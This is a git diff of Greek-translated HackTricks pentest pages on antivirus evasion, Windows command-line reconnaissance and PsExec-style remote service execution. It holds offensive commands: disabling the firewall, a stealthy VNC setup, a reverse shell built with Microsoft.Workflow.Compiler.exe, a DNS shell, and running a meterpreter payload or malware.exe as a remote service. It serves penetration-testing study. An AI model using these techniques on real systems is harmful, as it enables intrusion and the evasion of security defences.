Δεδομένου ότι το payload θα φορτωθεί απευθείας στη μνήμη χωρίς να αγγίξει το δίσκο, θα πρέπει να ανησυχούμε μόνο για την επιδιόρθωση του AMSI για όλη τη διαδικασία. Δεδομένου ότι το payload θα φορτωθεί απευθείας στη μνήμη χωρίς να αγγίξει το δίσκο, θα πρέπει να ανησυχούμε μόνο για την επιδιόρθωση του AMSI για ολόκληρη τη διαδικασία.
Οι περισσότερες πλατφόρμες C2 (sliver, Covenant, metasploit, CobaltStrike, Havoc, κ.λπ.) παρέχουν ήδη τη δυνατότητα εκτέλεσης C# assemblies απευθείας στη μνήμη, αλλά υπάρχουν διαφορετικοί τρόποι για να το κάνετε αυτό: Οι περισσότερες πλατφόρμες C2 (sliver, Covenant, metasploit, CobaltStrike, Havoc, κ.λπ.) παρέχουν ήδη τη δυνατότητα εκτέλεσης C# assemblies απευθείας στη μνήμη, αλλά υπάρχουν διάφοροι τρόποι για να το κάνετε αυτό:
* **Fork\&Run** * **Fork\&Run**
Αυτό περιλαμβάνει **τη δημιουργία μιας νέας θυσιαστικής διαδικασίας**, την έγχυση του κακόβουλου κώδικα σας σε αυτή τη νέα διαδικασία, την εκτέλεση του κακόβουλου κώδικα σας και όταν τελειώσει, την εξόντωση της νέας διαδικασίας. Αυτό έχει τόσο τα πλεονεκτήματα όσο και τα μειονεκτήματά του. Το πλεονέκτημα της μεθόδου fork and run είναι ότι η εκτέλεση συμβαίνει **εκτός** της διαδικασίας εμφύτευσης Beacon μας. Αυτό σημαίνει ότι αν κάτι στην ενέργεια μετά την εκμετάλλευση πάει στραβά ή πιαστεί, υπάρχει **πολύ μεγαλύτερη πιθανότητα** να **επιβιώσει η εμφύτευσή μας.** Το μειονέκτημα είναι ότι έχετε **μεγαλύτερη πιθανότητα** να πιαστείτε από **Συμπεριφορικές Ανιχνεύσεις**. Αυτό περιλαμβάνει **τη δημιουργία μιας νέας θυσιαστικής διαδικασίας**, την έγχυση του κακόβουλου κώδικα σας σε αυτή τη νέα διαδικασία, την εκτέλεση του κακόβουλου κώδικα σας και όταν τελειώσει, την εξόντωση της νέας διαδικασίας. Αυτό έχει τα πλεονεκτήματα και τα μειονεκτήματά του. Το πλεονέκτημα της μεθόδου fork and run είναι ότι η εκτέλεση συμβαίνει **έξω** από τη διαδικασία εμφύτευσης Beacon μας. Αυτό σημαίνει ότι αν κάτι στην ενέργεια μετά την εκμετάλλευση πάει στραβά ή πιαστεί, υπάρχει **πολύ μεγαλύτερη πιθανότητα** να **επιβιώσει η εμφύτευσή μας.** Το μειονέκτημα είναι ότι έχετε **μεγαλύτερη πιθανότητα** να πιαστείτε από **Συμπεριφορικές Ανιχνεύσεις**.
<figure><img src="../.gitbook/assets/image (215).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (215).png" alt=""><figcaption></figcaption></figure>
* **Inline** * **Inline**
Αφορά την έγχυση του κακόβουλου κώδικα μετά την εκμετάλλευση **στη δική του διαδικασία**. Με αυτόν τον τρόπο, μπορείτε να αποφύγετε τη δημιουργία νέας διαδικασίας και την σάρωση της από το AV, αλλά το μειονέκτημα είναι ότι αν κάτι πάει στραβά με την εκτέλεση του payload σας, υπάρχει **πολύ μεγαλύτερη πιθανότητα** να **χάσετε το beacon σας** καθώς μπορεί να καταρρεύσει. Αφορά την έγχυση του κακόβουλου κώδικα μετά την εκμετάλλευση **στη δική του διαδικασία**. Με αυτόν τον τρόπο, μπορείτε να αποφύγετε τη δημιουργία νέας διαδικασίας και την σάρωση από το AV, αλλά το μειονέκτημα είναι ότι αν κάτι πάει στραβά με την εκτέλεση του payload σας, υπάρχει **πολύ μεγαλύτερη πιθανότητα** να **χάσετε το beacon σας** καθώς μπορεί να καταρρεύσει.
<figure><img src="../.gitbook/assets/image (1136).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (1136).png" alt=""><figcaption></figcaption></figure>
{% hint style="info" %} {% hint style="info" %}
Αν θέλετε να διαβάσετε περισσότερα σχετικά με τη φόρτωση C# Assembly, παρακαλώ ελέγξτε αυτό το άρθρο [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) και το InlineExecute-Assembly BOF ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly)) Αν θέλετε να διαβάσετε περισσότερα σχετικά με τη φόρτωση C# Assembly, παρακαλώ ελέγξτε αυτό το άρθρο [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) και το InlineExecute-Assembly BOF τους ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
{% endhint %} {% endhint %}
Μπορείτε επίσης να φορτώσετε C# Assemblies **από το PowerShell**, ελέγξτε το [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) και το [S3cur3th1sSh1t's video](https://www.youtube.com/watch?v=oe11Q-3Akuk). Μπορείτε επίσης να φορτώσετε C# Assemblies **από το PowerShell**, ελέγξτε το [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) και το [S3cur3th1sSh1t's video](https://www.youtube.com/watch?v=oe11Q-3Akuk).
## Using Other Programming Languages ## Using Other Programming Languages
Όπως προτάθηκε στο [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), είναι δυνατό να εκτελέσετε κακόβουλο κώδικα χρησιμοποιώντας άλλες γλώσσες δίνοντας στη συμβιβασμένη μηχανή πρόσβαση **στο περιβάλλον διερμηνέα που είναι εγκατεστημένο στο SMB share που ελέγχεται από τον επιτιθέμενο**. Όπως προτάθηκε στο [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), είναι δυνατόν να εκτελέσετε κακόβουλο κώδικα χρησιμοποιώντας άλλες γλώσσες δίνοντας στη συμβιβασμένη μηχανή πρόσβαση **στο περιβάλλον διερμηνέα που είναι εγκατεστημένο στο SMB share που ελέγχεται από τον επιτιθέμενο**.
Επιτρέποντας πρόσβαση στα Δυαδικά Αρχεία Διερμηνέα και το περιβάλλον στο SMB share μπορείτε να **εκτελέσετε αυθαίρετο κώδικα σε αυτές τις γλώσσες μέσα στη μνήμη** της συμβιβασμένης μηχανής. Επιτρέποντας την πρόσβαση στα Δυαδικά Αρχεία Διερμηνέα και το περιβάλλον στο SMB share μπορείτε να **εκτελέσετε αυθαίρετο κώδικα σε αυτές τις γλώσσες εντός της μνήμης** της συμβιβασμένης μηχανής.
Το repo υποδεικνύει: Ο Defender σαρώνει ακόμα τα σενάρια αλλά χρησιμοποιώντας Go, Java, PHP κ.λπ. έχουμε **περισσότερη ευελιξία για να παρακάμψουμε τις στατικές υπογραφές**. Η δοκιμή με τυχαία μη-αποκρυπτογραφημένα σενάρια reverse shell σε αυτές τις γλώσσες έχει αποδειχθεί επιτυχής. Το repo υποδεικνύει: Ο Defender σαρώνει ακόμα τα σενάρια αλλά χρησιμοποιώντας Go, Java, PHP κ.λπ. έχουμε **περισσότερη ευελιξία για να παρακάμψουμε τις στατικές υπογραφές**. Η δοκιμή με τυχαία μη αποκρυπτογραφημένα σενάρια reverse shell σε αυτές τις γλώσσες έχει αποδειχθεί επιτυχής.
## Advanced Evasion ## Advanced Evasion
@ -344,12 +350,12 @@ Here is a demo for bypassing SmartScreen by packaging payloads inside ISO files
### **Check which parts Defender finds as malicious** ### **Check which parts Defender finds as malicious**
Μπορείτε να χρησιμοποιήσετε [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) το οποίο θα **αφαιρέσει μέρη του δυαδικού αρχείου** μέχρι να **ανακαλύψει ποιο μέρος ο Defender** βρίσκει ως κακόβουλο και να το διαχωρίσει για εσάς.\ Μπορείτε να χρησιμοποιήσετε [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) που θα **αφαιρέσει μέρη του δυαδικού αρχείου** μέχρι να **ανακαλύψει ποιο μέρος ο Defender** βρίσκει ως κακόβουλο και να το διαχωρίσει για εσάς.\
Ένα άλλο εργαλείο που κάνει το **ίδιο πράγμα είναι** [**avred**](https://github.com/dobin/avred) με μια ανοιχτή ιστοσελίδα που προσφέρει την υπηρεσία στο [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/) Ένα άλλο εργαλείο που κάνει το **ίδιο πράγμα είναι** [**avred**](https://github.com/dobin/avred) με μια ανοιχτή ιστοσελίδα που προσφέρει την υπηρεσία στο [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
### **Telnet Server** ### **Telnet Server**
Μέχρι τα Windows 10, όλα τα Windows έρχονταν με έναν **Telnet server** που μπορούσατε να εγκαταστήσετε (ως διαχειριστής) κάνοντας: Μέχρι τα Windows 10, όλα τα Windows έρχονταν με έναν **διακομιστή Telnet** που μπορούσατε να εγκαταστήσετε (ως διαχειριστής) κάνοντας:
```bash ```bash
pkgmgr /iu:"TelnetServer" /quiet pkgmgr /iu:"TelnetServer" /quiet
``` ```
@ -368,7 +374,7 @@ netsh advfirewall set allprofiles state off
**ΣΤΟΝ HOST**: Εκτελέστε το _**winvnc.exe**_ και ρυθμίστε τον διακομιστή: **ΣΤΟΝ HOST**: Εκτελέστε το _**winvnc.exe**_ και ρυθμίστε τον διακομιστή:
* Ενεργοποιήστε την επιλογή _Disable TrayIcon_ * Ενεργοποιήστε την επιλογή _Απενεργοποίηση TrayIcon_
* Ορίστε έναν κωδικό πρόσβασης στο _VNC Password_ * Ορίστε έναν κωδικό πρόσβασης στο _VNC Password_
* Ορίστε έναν κωδικό πρόσβασης στο _View-Only Password_ * Ορίστε έναν κωδικό πρόσβασης στο _View-Only Password_
@ -381,8 +387,8 @@ netsh advfirewall set allprofiles state off
**ΠΡΟΕΙΔΟΠΟΙΗΣΗ:** Για να διατηρήσετε την κρυψίνοια δεν πρέπει να κάνετε μερικά πράγματα **ΠΡΟΕΙΔΟΠΟΙΗΣΗ:** Για να διατηρήσετε την κρυψίνοια δεν πρέπει να κάνετε μερικά πράγματα
* Μην ξεκινήσετε το `winvnc` αν είναι ήδη σε εκτέλεση ή θα ενεργοποιήσετε ένα [popup](https://i.imgur.com/1SROTTl.png). ελέγξτε αν είναι σε εκτέλεση με `tasklist | findstr winvnc` * Μην ξεκινήσετε το `winvnc` αν είναι ήδη σε εκτέλεση ή θα ενεργοποιήσετε ένα [popup](https://i.imgur.com/1SROTTl.png). ελέγξτε αν είναι σε εκτέλεση με `tasklist | findstr winvnc`
* Μην ξεκινήσετε το `winvnc` χωρίς το `UltraVNC.ini` στον ίδιο φάκελο ή θα προκαλέσει το άνοιγμα [του παραθύρου ρύθμισης](https://i.imgur.com/rfMQWcf.png) * Μην ξεκινήσετε το `winvnc` χωρίς το `UltraVNC.ini` στον ίδιο φάκελο ή θα προκαλέσει το άνοιγμα του [παραθύρου ρύθμισης](https://i.imgur.com/rfMQWcf.png)
* Μην εκτελέσετε το `winvnc -h` για βοήθεια ή θα ενεργοποιήσετε ένα [popup](https://i.imgur.com/oc18wcu.png) * Μην εκτελείτε το `winvnc -h` για βοήθεια ή θα ενεργοποιήσετε ένα [popup](https://i.imgur.com/oc18wcu.png)
### GreatSCT ### GreatSCT
@ -497,7 +503,7 @@ catch (Exception err) { }
} }
} }
``` ```
### C# χρησιμοποιώντας τον μεταγλωττιστή ### C# χρησιμοποιώντας μεταγλωττιστή
``` ```
C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt
``` ```
@ -563,6 +569,12 @@ https://github.com/praetorian-code/vulcan
* [https://github.com/persianhydra/Xeexe-TopAntivirusEvasion](https://github.com/persianhydra/Xeexe-TopAntivirusEvasion) * [https://github.com/persianhydra/Xeexe-TopAntivirusEvasion](https://github.com/persianhydra/Xeexe-TopAntivirusEvasion)
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Αν ενδιαφέρεστε για **καριέρα στον hacking** και να χακάρετε το μη χακάρισμα - **προσλαμβάνουμε!** (_απαιτείται άριστη γνώση πολωνικών, γραπτά και προφορικά_).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %} {% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

View file

@ -15,9 +15,17 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details> </details>
{% endhint %} {% endhint %}
## Πληροφορίες συστήματος <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
### Πληροφορίες έκδοσης και ενημερώσεων #### Get a hacker's perspective on your web apps, network, and cloud
**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε τα δικαιώματα και να χρησιμοποιήσετε αυτοματοποιημένες εκμεταλλεύσεις για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## System info
### Version and Patches info
```bash ```bash
wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get architecture wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get architecture
systeminfo systeminfo
@ -35,11 +43,11 @@ DRIVERQUERY #3rd party driver vulnerable?
```bash ```bash
set #List all environment variables set #List all environment variables
``` ```
Ορισμένες μεταβλητές περιβάλλοντος για να επισημάνουμε: Ορισμένες μεταβλητές περιβάλλοντος που πρέπει να επισημανθούν:
* **COMPUTERNAME**: Όνομα του υπολογιστή * **COMPUTERNAME**: Όνομα του υπολογιστή
* **TEMP/TMP:** Φάκελος προσωρινών αρχείων * **TEMP/TMP:** Φάκελος προσωρινών αρχείων
* **USERNAME:** Το όνομά σας * **USERNAME:** Το όνομα χρήστη σας
* **HOMEPATH/USERPROFILE:** Κατάλογος αρχικής * **HOMEPATH/USERPROFILE:** Κατάλογος αρχικής
* **windir:** C:\Windows * **windir:** C:\Windows
* **OS**: Windows OS * **OS**: Windows OS
@ -336,7 +344,7 @@ help
SET COMMAND type C:\Users\Administrator\Desktop\flag.txt SET COMMAND type C:\Users\Administrator\Desktop\flag.txt
encoding encoding
``` ```
### Διευθύνσεις ACL ακρόασης ### Listen address ACLs
Μπορείτε να ακούσετε στο [http://+:80/Temporary\_Listen\_Addresses/](http://+/Temporary\_Listen\_Addresses/) χωρίς να είστε διαχειριστής. Μπορείτε να ακούσετε στο [http://+:80/Temporary\_Listen\_Addresses/](http://+/Temporary\_Listen\_Addresses/) χωρίς να είστε διαχειριστής.
```bash ```bash
@ -344,7 +352,7 @@ netsh http show urlacl
``` ```
### Manual DNS shell ### Manual DNS shell
**Επιτιθέμενος** (Kali) πρέπει να χρησιμοποιήσει μία από αυτές τις 2 επιλογές: **Attacker** (Kali) πρέπει να χρησιμοποιήσει μία από αυτές τις 2 επιλογές:
```bash ```bash
sudo responder -I <iface> #Active sudo responder -I <iface> #Active
sudo tcpdump -i <iface> -A proto udp and dst port 53 and dst ip <KALI_IP> #Passive sudo tcpdump -i <iface> -A proto udp and dst port 53 and dst ip <KALI_IP> #Passive
@ -409,13 +417,22 @@ wmic process call create '"C:\Program Files (x86)\TeamViewer\TeamViewer12_Logfil
# Execute a script stored in an ADS using PowerShell # Execute a script stored in an ADS using PowerShell
powershell -ep bypass - < c:\temp:ttt powershell -ep bypass - < c:\temp:ttt
``` ```
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Αποκτήστε την προοπτική ενός χάκερ για τις διαδικτυακές σας εφαρμογές, το δίκτυο και το cloud
**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε τα δικαιώματα και να χρησιμοποιήσετε αυτοματοποιημένες εκμεταλλεύσεις για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή σας δουλειά σε πειστικές αναφορές.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %} {% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>Υποστήριξη HackTricks</summary> <summary>Υποστηρίξτε το HackTricks</summary>
* Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)! * Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**

View file

@ -1,55 +1,63 @@
# PsExec/Winexec/ScExec # PsExec/Winexec/ScExec
{% hint style="success" %} {% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>Support HackTricks</summary> <summary>Υποστήριξη HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %} {% endhint %}
## Πώς λειτουργούν <figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
Η διαδικασία περιγράφεται στα παρακάτω βήματα, απεικονίζοντας πώς οι δυαδικοί κωδικοί υπηρεσιών χειρίζονται για να επιτευχθεί απομακρυσμένη εκτέλεση σε μια στοχοθετημένη μηχανή μέσω SMB: {% embed url="https://websec.nl/" %}
1. **Αντιγραφή ενός δυαδικού κωδικού υπηρεσίας στο ADMIN$ share μέσω SMB** πραγματοποιείται. ## Πώς λειτουργούν
2. **Δημιουργία μιας υπηρεσίας στη απομακρυσμένη μηχανή** γίνεται με την αναφορά στον δυαδικό κωδικό.
3. Η υπηρεσία **ξεκινά απομακρυσμένα**. Η διαδικασία περιγράφεται στα παρακάτω βήματα, απεικονίζοντας πώς οι δυαδικοί κώδικες υπηρεσιών χειρίζονται για να επιτευχθεί απομακρυσμένη εκτέλεση σε μια στοχοθετημένη μηχανή μέσω SMB:
4. Με την έξοδο, η υπηρεσία **σταματά, και ο δυαδικός κωδικός διαγράφεται**.
1. **Αντιγραφή ενός δυαδικού κώδικα υπηρεσίας στο ADMIN$ share μέσω SMB** πραγματοποιείται.
### **Διαδικασία Χειροκίνητης Εκτέλεσης PsExec** 2. **Δημιουργία μιας υπηρεσίας στη απομακρυσμένη μηχανή** γίνεται με την αναφορά στον δυαδικό κώδικα.
3. Η υπηρεσία **ξεκινά απομακρυσμένα**.
Υποθέτοντας ότι υπάρχει ένα εκτελέσιμο payload (δημιουργημένο με msfvenom και κρυμμένο χρησιμοποιώντας Veil για να αποφευχθεί η ανίχνευση από το antivirus), ονόματι 'met8888.exe', που αντιπροσωπεύει ένα payload meterpreter reverse_http, ακολουθούνται τα εξής βήματα: 4. Με την έξοδο, η υπηρεσία **σταματά, και ο δυαδικός κώδικας διαγράφεται**.
* **Αντιγραφή του δυαδικού κωδικού**: Ο εκτελέσιμος κωδικός αντιγράφεται στο ADMIN$ share από μια γραμμή εντολών, αν και μπορεί να τοποθετηθεί οπουδήποτε στο σύστημα αρχείων για να παραμείνει κρυμμένος. ### **Διαδικασία Χειροκίνητης Εκτέλεσης PsExec**
* **Δημιουργία μιας υπηρεσίας**: Χρησιμοποιώντας την εντολή `sc` των Windows, η οποία επιτρέπει την αναζήτηση, δημιουργία και διαγραφή υπηρεσιών Windows απομακρυσμένα, δημιουργείται μια υπηρεσία ονόματι "meterpreter" που δείχνει στον ανεβασμένο δυαδικό κωδικό.
* **Έναρξη της υπηρεσίας**: Το τελευταίο βήμα περιλαμβάνει την εκκίνηση της υπηρεσίας, η οποία πιθανότατα θα έχει ως αποτέλεσμα ένα σφάλμα "time-out" λόγω του ότι ο δυαδικός κωδικός δεν είναι γνήσιος δυαδικός κωδικός υπηρεσίας και αποτυγχάνει να επιστρέψει τον αναμενόμενο κωδικό απόκρισης. Αυτό το σφάλμα είναι ασήμαντο καθώς ο κύριος στόχος είναι η εκτέλεση του δυαδικού κωδικού. Υποθέτοντας ότι υπάρχει ένα εκτελέσιμο payload (δημιουργημένο με msfvenom και κρυπτογραφημένο χρησιμοποιώντας Veil για να αποφευχθεί η ανίχνευση από το antivirus), ονόματι 'met8888.exe', που αντιπροσωπεύει ένα payload meterpreter reverse_http, τα παρακάτω βήματα ακολουθούνται:
Η παρατήρηση του listener του Metasploit θα αποκαλύψει ότι η συνεδρία έχει ξεκινήσει επιτυχώς. * **Αντιγραφή του δυαδικού κώδικα**: Ο εκτελέσιμος κώδικας αντιγράφεται στο ADMIN$ share από μια γραμμή εντολών, αν και μπορεί να τοποθετηθεί οπουδήποτε στο σύστημα αρχείων για να παραμείνει κρυμμένος.
* **Δημιουργία μιας υπηρεσίας**: Χρησιμοποιώντας την εντολή `sc` των Windows, η οποία επιτρέπει την αναζήτηση, δημιουργία και διαγραφή υπηρεσιών Windows απομακρυσμένα, δημιουργείται μια υπηρεσία ονόματι "meterpreter" που δείχνει στον ανεβασμένο δυαδικό κώδικα.
[Learn more about the `sc` command](https://technet.microsoft.com/en-us/library/bb490995.aspx). * **Έναρξη της υπηρεσίας**: Το τελευταίο βήμα περιλαμβάνει την εκκίνηση της υπηρεσίας, η οποία πιθανότατα θα έχει ως αποτέλεσμα ένα σφάλμα "time-out" λόγω του ότι ο δυαδικός κώδικας δεν είναι γνήσιος δυαδικός κώδικας υπηρεσίας και αποτυγχάνει να επιστρέψει τον αναμενόμενο κωδικό απόκρισης. Αυτό το σφάλμα είναι ασήμαντο καθώς ο κύριος στόχος είναι η εκτέλεση του δυαδικού κώδικα.
Find moe detailed steps in: [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/) Η παρατήρηση του listener του Metasploit θα αποκαλύψει ότι η συνεδρία έχει ξεκινήσει επιτυχώς.
**Μπορείτε επίσης να χρησιμοποιήσετε τον δυαδικό κωδικό PsExec.exe των Windows Sysinternals:** [Μάθετε περισσότερα για την εντολή `sc`](https://technet.microsoft.com/en-us/library/bb490995.aspx).
![](<../../.gitbook/assets/image (928).png>) Βρείτε πιο λεπτομερή βήματα στο: [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-2-psexec-and-services/)
Μπορείτε επίσης να χρησιμοποιήσετε [**SharpLateral**](https://github.com/mertdas/SharpLateral): **Μπορείτε επίσης να χρησιμοποιήσετε τον δυαδικό κώδικα PsExec.exe των Windows Sysinternals:**
{% code overflow="wrap" %} ![](<../../.gitbook/assets/image (928).png>)
```
SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe.exe malware.exe ServiceName Μπορείτε επίσης να χρησιμοποιήσετε [**SharpLateral**](https://github.com/mertdas/SharpLateral):
```
{% endcode %} {% code overflow="wrap" %}
```
SharpLateral.exe redexec HOSTNAME C:\\Users\\Administrator\\Desktop\\malware.exe.exe malware.exe ServiceName
```
{% endcode %}
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{% hint style="success" %} {% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

View file

@ -15,14 +15,22 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details> </details>
{% endhint %} {% endhint %}
## Πώς Λειτουργεί <figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
